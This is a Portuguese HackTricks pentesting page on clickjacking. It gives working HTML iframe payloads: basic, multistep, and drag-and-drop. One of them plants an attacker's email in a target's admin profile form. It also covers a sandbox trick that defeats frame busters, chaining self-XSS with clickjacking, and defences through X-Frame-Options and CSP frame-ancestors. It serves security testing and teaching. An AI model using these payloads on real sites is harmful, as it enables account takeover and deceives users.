hacktricks/pentesting-web/clickjacking.md
2023-06-06 18:56:34 +00:00

198 lines
14 KiB
Markdown

# Clickjacking
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## O que é Clickjacking
Clickjacking é um ataque que **enganar** um **usuário** para **clicar** em um **elemento** da página da web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários baixem malware sem saber, visitem páginas da web maliciosas, forneçam credenciais ou informações confidenciais, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
### Truque de preencher formulários
Às vezes, é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
### Preencher formulário com arrastar e soltar
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir que ele **arraste e solte** algo que escreverá seus dados controlados como em [**este exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Payload básico
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload Multistep
O ataque de clickjacking multistep é uma variação do ataque de clickjacking padrão, onde o atacante usa vários cliques em diferentes elementos da página para realizar a ação maliciosa. Isso é feito para evitar a detecção de ferramentas de segurança que procuram por cliques em um único elemento.
O ataque multistep é realizado em várias etapas, onde cada etapa é um clique em um elemento diferente da página. Cada clique é inofensivo por si só, mas quando combinados, eles realizam a ação maliciosa desejada pelo atacante.
Por exemplo, um atacante pode criar um botão invisível em uma página da web que, quando clicado, redireciona o usuário para uma página maliciosa. Para evitar a detecção, o atacante pode dividir o clique em dois ou mais cliques em diferentes elementos da página. O primeiro clique pode ser em um botão inofensivo, enquanto o segundo clique pode ser no botão invisível que redireciona o usuário para a página maliciosa.
Os ataques multistep podem ser mais difíceis de detectar e prevenir do que os ataques de clickjacking padrão, pois envolvem vários cliques em diferentes elementos da página. No entanto, as mesmas técnicas de prevenção de clickjacking padrão podem ser usadas para prevenir ataques multistep.
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Payload de Arrastar e Soltar + Clique
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Se você identificou um ataque **XSS que requer que o usuário clique** em algum elemento para **disparar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
Exemplo:\
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **pré-preencher** o **formulário** com os parâmetros GET._\
\_\_Um atacante poderia preparar um ataque de **Clickjacking** para essa página **pré-preenchendo** o **formulário** com a **carga XSS** e **enganando** o **usuário** a **enviar** o formulário. Então, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**.
## Como evitar o Clickjacking
### Defesas do lado do cliente
É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para evitar o Clickjacking:
* verificar e impor que a janela de aplicativo atual é a janela principal ou superior,
* tornar todos os quadros visíveis,
* impedir o clique em quadros invisíveis,
* interceptar e sinalizar possíveis ataques de clickjacking em um usuário.
#### Bypass
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou, de fato, o navegador pode nem mesmo suportar JavaScript. Uma solução eficaz para o atacante contornar os frame busters é usar o **atributo HTML5 iframe `sandbox`**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Tanto os valores `allow-forms` quanto `allow-scripts` permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de quadro enquanto permite a funcionalidade dentro do site direcionado.
Dependendo do tipo de ataque de Clickjacking realizado, **você também pode precisar permitir**: `allow-same-origin` e `allow-modals` ou [até mais](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Ao preparar o ataque, verifique o console do navegador, ele pode informar quais outros comportamentos você precisa permitir.
### X-Frame-Options
O **cabeçalho de resposta HTTP `X-Frame-Options`** pode ser usado para indicar se um navegador deve ou não ser **permitido** a renderizar uma página em um `<frame>` ou `<iframe>`. Os sites podem usar isso para evitar ataques de Clickjacking, garantindo que **seu conteúdo não seja incorporado em outros sites**. Defina o cabeçalho **`X-Frame-Options`** para todas as respostas que contenham conteúdo HTML. Os valores possíveis são:
* `X-Frame-Options: deny` que **impede que qualquer domínio enquadre o conteúdo** (_valor recomendado_)
* `X-Frame-Options: sameorigin` que permite apenas que o **site atual enquadre o conteúdo**.
* `X-Frame-Options: allow-from https://trusted.com` que **permite que o 'uri' especificado** enquadre esta página.
* Verifique as limitações abaixo porque **isso falhará se o navegador não suportar**.
* Outros navegadores suportam a nova diretiva **CSP frame-ancestors em vez disso**. Alguns suportam ambos.
### Diretiva de ancestrais de quadro de política de segurança de conteúdo (CSP)
A **proteção recomendada contra Clickjacking** é incorporar a diretiva **`frame-ancestors`** na Política de Segurança de Conteúdo da aplicação.\
A diretiva **`frame-ancestors 'none'`** é semelhante em comportamento à diretiva **X-Frame-Options `deny`** (_Ninguém pode enquadrar a página_).\
A diretiva **`frame-ancestors 'self'`** é amplamente equivalente à diretiva **X-Frame-Options `sameorigin`** (_apenas o site atual pode enquadrá-lo_).\
A diretiva **`frame-ancestors trusted.com`** é amplamente equivalente à diretiva **X-Frame-Options** `allow-from` (_apenas o site confiável pode enquadrá-lo_).
A seguinte lista de permissões CSP permite que os quadros sejam do mesmo domínio apenas:
`Content-Security-Policy: frame-ancestors 'self';`
Consulte a seguinte documentação para obter mais detalhes e exemplos mais complexos:
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### Limitações <a href="#limitations" id="limitations"></a>
* **Suporte do navegador:** os ancestrais de quadro CSP não são suportados por todos os principais navegadores ainda.
* **X-Frame-Options tem prioridade:** [Seção "Relação com X-Frame-Options" da especificação CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) diz: "_Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja "impor", então o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options em vez disso.
## Referências
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) para criar e **automatizar fluxos de trabalho** com as ferramentas da comunidade mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>